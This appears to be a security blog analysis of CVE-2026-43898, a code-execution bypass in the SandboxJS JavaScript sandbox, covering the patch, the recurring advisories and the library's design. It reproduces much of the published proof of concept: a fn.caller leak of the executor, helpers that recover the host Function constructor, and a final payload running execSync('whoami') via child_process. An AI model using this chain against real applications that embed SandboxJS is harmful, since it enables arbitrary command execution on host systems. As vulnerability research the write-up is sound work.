//nefariousplan

CVE-2026-43898: SandboxJS's Tenth Code-Execution Bypass in Four Months

vendor

patterns

cve

proof of concept

The patch for CVE-2026-43898 is four lines in one file. Three of those lines are the string literals 'caller', 'callee', and 'arguments', added to a denylist in the function that resolves property reads on functions. The denylist had one entry on functions before this commit. Between January 16 and May 9, 2026, SandboxJS shipped seven commits whose subjects begin fix(security): harden sandbox against code execution bypass, closing ten distinct GHSA advisories in four months. The May 9 commit is the one that turned (function fn() { return fn.caller; })() into a SandboxAccessError.

The patch adds three strings

CVE-2026-43898 is fixed in SandboxJS 0.9.6 by a four-line change to src/executor/ops/prop.ts, which registers the one handler for LispType.Prop. The handler is the function the sandbox executor calls every time a sandboxed program reads a[b]. Pre-patch, the handler had one function-specific gate, which refused reading prototype off a non-sandboxed function:

const val = a[b as keyof typeof a] as unknown;
if (typeof a === 'function') {
  if (b === 'prototype' && !context.ctx.sandboxedFunctions.has(a)) {
    throw new SandboxAccessError(`Access to prototype of global object is not permitted`);
  }
}

Post-patch, the value read moves below the gate and a second gate joins the first:

if (typeof a === 'function') {
  if (b === 'prototype' && !context.ctx.sandboxedFunctions.has(a)) {
    throw new SandboxAccessError(`Access to prototype of global object is not permitted`);
  }
  if (['caller', 'callee', 'arguments'].includes(b as string)) {
    throw new SandboxAccessError(`Access to '${b as string}' property is not permitted`);
  }
}
const val = a[b as keyof typeof a] as unknown;

The diff is three lines added, one line relocated. The function's denylist now refuses four named property reads on functions (prototype, caller, callee, arguments) and the surrounding handler refuses __proto__ in two separate places. Every gate in this file is a string-name comparison against the property the AST asked the executor to fetch.

fn.caller, evaluated inside SandboxJS, returned SandboxJS

The PoC published with CVE-2026-43898 is roughly fifty lines of JavaScript handed to sandbox.compile().run(). Its first line is the leak:

const callOp = (function fn() { return fn.caller; })();

Function.caller is a non-standard JavaScript property that, in non-strict-mode functions, returns the function that invoked the receiver. The sandboxed function fn was called by SandboxJS's executor in order to compute the result the AST evaluator wanted next. That executor is itself a JavaScript function, the callback registered for LispType.Call through addOps:

addOps<unknown, Lisp[], any>(LispType.Call, (params) => {
  const { done, a, b, obj, context } = params;
  if (context.ctx.options.forbidFunctionCalls)
    throw new SandboxCapabilityError('Function invocations are not allowed');
  // ...
});

When fn.caller is evaluated inside fn, the host JavaScript engine resolves it to that addOps callback. SandboxJS hands the resolved value back to the sandboxed program. callOp now holds a host-realm reference to the function that runs every LispType.Call AST node inside the sandbox.

The params object is the executor's input. Under normal operation the parser walks the AST, binds a, b, obj, context, done from the surrounding compiled program, and hands the bag to the executor. The PoC builds params by hand:

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

makeContext produces a context whose ctx.options.forbidFunctionCalls is 0, so the executor's first check passes. It also installs an evals.get callback that captures whatever function the executor asks evals.get to resolve. By picking obj.context = Object and obj.prop = 'defineProperty', the PoC walks the executor's method-call path far enough to make it ask evals.get for Object.defineProperty. The reference is captured into the closure. leakStatic(Object, 'defineProperty') returns the host Object.defineProperty directly, a static method SandboxJS is not supposed to surface.

callDirect runs the other direction. Pass a previously-leaked host function as obj and the executor calls it with attacker-supplied arguments:

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

Read inside out. getPrototypeOf(() => 0) returns Function.prototype. getOwnPropertyDescriptor(Function.prototype, 'constructor') returns a descriptor whose value is the host Function constructor. defineProperty(leakStatic, 'call', <that descriptor>) overwrites leakStatic.call with the host Function constructor. The final step uses leakStatic one more time, with obj.context as a string of JavaScript source:

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});
return hostFn();

The executor's path for a direct function call is evl ? evl(obj, ...vals) : obj(...vals). evals.get(obj) returns the host Function constructor the PoC stored into leakStatic.call. obj is the source string. The host Function constructor compiles the source into a host function. That function is assigned to hostFn. The sandbox returns hostFn(). The entire pipeline executes in the host realm. process.getBuiltinModule("child_process").execSync("whoami") is the last line the sandbox runs before handing the output back to the caller of sandbox.compile().run().

The executor is a function. The sandbox is a function call.

SandboxJS does not run sandboxed code in a separate process. It does not run it in a Realm. It does not run it in V8 isolates. It runs it by parsing the source into a Lisp-style AST and walking the AST in the same JavaScript runtime as everything else in the embedding application. Every op the sandbox can perform, property read, function call, comparison, assignment, is registered as a host-realm JavaScript function via addOps. The executor is the dispatch loop that asks each op's handler to compute the next value. Sandboxed function bodies, when they execute, are called by host-realm code. The call stack at that moment is a real JavaScript call stack, and every introspection feature JavaScript provides on call stacks is, by construction, available to the sandboxed function from inside its own body.

Function.caller is one such feature. arguments.callee is another. They are non-standard, deprecated, and absent from strict-mode functions, which is why the sandbox's parser did not need to do anything to allow them inside compiled sandboxed code. They are also still present in every non-strict function the host engine compiles. SandboxJS's executor functions are not in strict mode. By being non-strict, they expose themselves to any sandboxed code that asks the right way.

The patch's response is to refuse caller, callee, and arguments as readable property names off function values. That closes the specific path CVE-2026-43898 uses to capture the executor. It does not close, and from inside the same realm cannot close, the larger fact: the executor is a JavaScript function in the host realm, and the sandbox runs every sandboxed function body by passing it as an argument to the executor.

Ten advisories in four months

The commit log on src/executor/ops/prop.ts and its pre-restructure predecessor src/executor.ts lists seven security commits between mid-January and mid-May 2026:

Date Commit GHSA advisories closed
2026-01-16 345aee6 GHSA-wxhw-j4hc-fmq6
2026-01-30 75c8009 GHSA-9p4w-fq8m-2hp7
2026-02-05 67cb186 GHSA-jjpw-65fv-8g48, GHSA-66h4-qj4x-38xp, GHSA-58jh-xv4v-pcx4, GHSA-7x3h-rm86-3342
2026-02-08 f369f8d GHSA-ww7g-4gwx-m7wj
2026-03-13 e01505b GHSA-6r9f-759j-hjgv
2026-04-03 abc02f6 GHSA-2gg9-6p7w-6cpj
2026-05-09 8268652 GHSA-g8f2-4f4f-5jqw (CVE-2026-43898)

Ten advisories, four months, one library, one bug class. The commit subjects are not paraphrases of each other. The phrase fix(security): harden sandbox against code execution bypass appears verbatim in all seven, with the GHSA list parenthesized at the end. The library has not converged. Each new fix is a denylist entry added at the seam closest to the leak the new researcher reported. The test suite gains a security.data.ts row whose expected sandboxed-mode output is "/Access to '<property>' property is not permitted/". The denylist grows by one or two strings per advisory and stretches across prop.ts, eval.ts, executor.ts, Sandbox.ts, parser.ts, and utils.ts.

The README, in paragraph three, frames the substrate directly:

every function inherits the Function prototype, and can invoke eval by calling its constructor, essentially making eval at most two properties away from anything in js.

The framing is correct. The library's job is to enumerate those two properties, the prototype-chain step and the constructor step, and to refuse them. Plus everything else that gives back the same primitive: __proto__, prototype, caller, callee, arguments, Symbol.species, Symbol.iterator, %AsyncGeneratorPrototype%, WebAssembly.JSTag. Each of these has been the substrate for a sandbox-escape CVE in some JavaScript-in-JavaScript sandbox in the last eighteen months. The library's response, three paragraphs later in the same README, says what the response has to be:

SandboxJS solves this problem by parsing js code and executing it though its own js runtime, while in the process checking every single prototype function that is being called.

Checking every single prototype function is the work. The denylist is the form the work takes. Each new CVE is the next prototype function the check did not yet name.

The denylist is the design

This is the-detector-is-the-target at the property-read seam. The product's role is containment of code the consumer cannot inspect; the role obligation forces the library's interpreter to live in the same JavaScript realm as the JavaScript values it inspects. The realm boundary is the only stand the consumer has. Every host-language introspection vector that crosses the boundary becomes the next CVE. SandboxJS is the smaller-library, less-famous sibling of vm2; Handlebars's CVE-2026-33937 is the same shape one layer up, where the artifact crossing the boundary is a parsed AST rather than a function call.

It is also unpatchable-primitive at the substrate. The patches close the instances researchers ship: a missing string on the property-read denylist, a missing wrap on a host method, a missing identity check on an executor params bag. The primitive itself, the host language's choice to ship reflection that crosses non-strict function boundaries, is what the README admits in its first technical paragraph. The next bypass is the next reflection vector a researcher names. Strict-mode functions cannot expose caller; the executor's functions are not strict. Symbol.species reaches through Proxy traps because V8 reads the slot in C++. %AsyncGeneratorPrototype%.next's exception path crosses realms because the engine routes it through C++. The substrate has more entries than any denylist will ever finish enumerating from inside JavaScript. The llama.cpp deserializer is the same recurrence shape in a different language at a different layer: three CVEs reach the same primitive, three patches do not touch it.

vm2's README, when its maintainers gave up on the project in late 2023, ended with the line "New bypasses will likely be discovered in the future." SandboxJS's README does not say that. The commit history does. Seven commits in four months with the same subject line is the same admission, written one entry at a time.

PoC: GHSA-g8f2-4f4f-5jqw

SandboxJS does not have a tenth bug. It has one bug, found ten times in four months.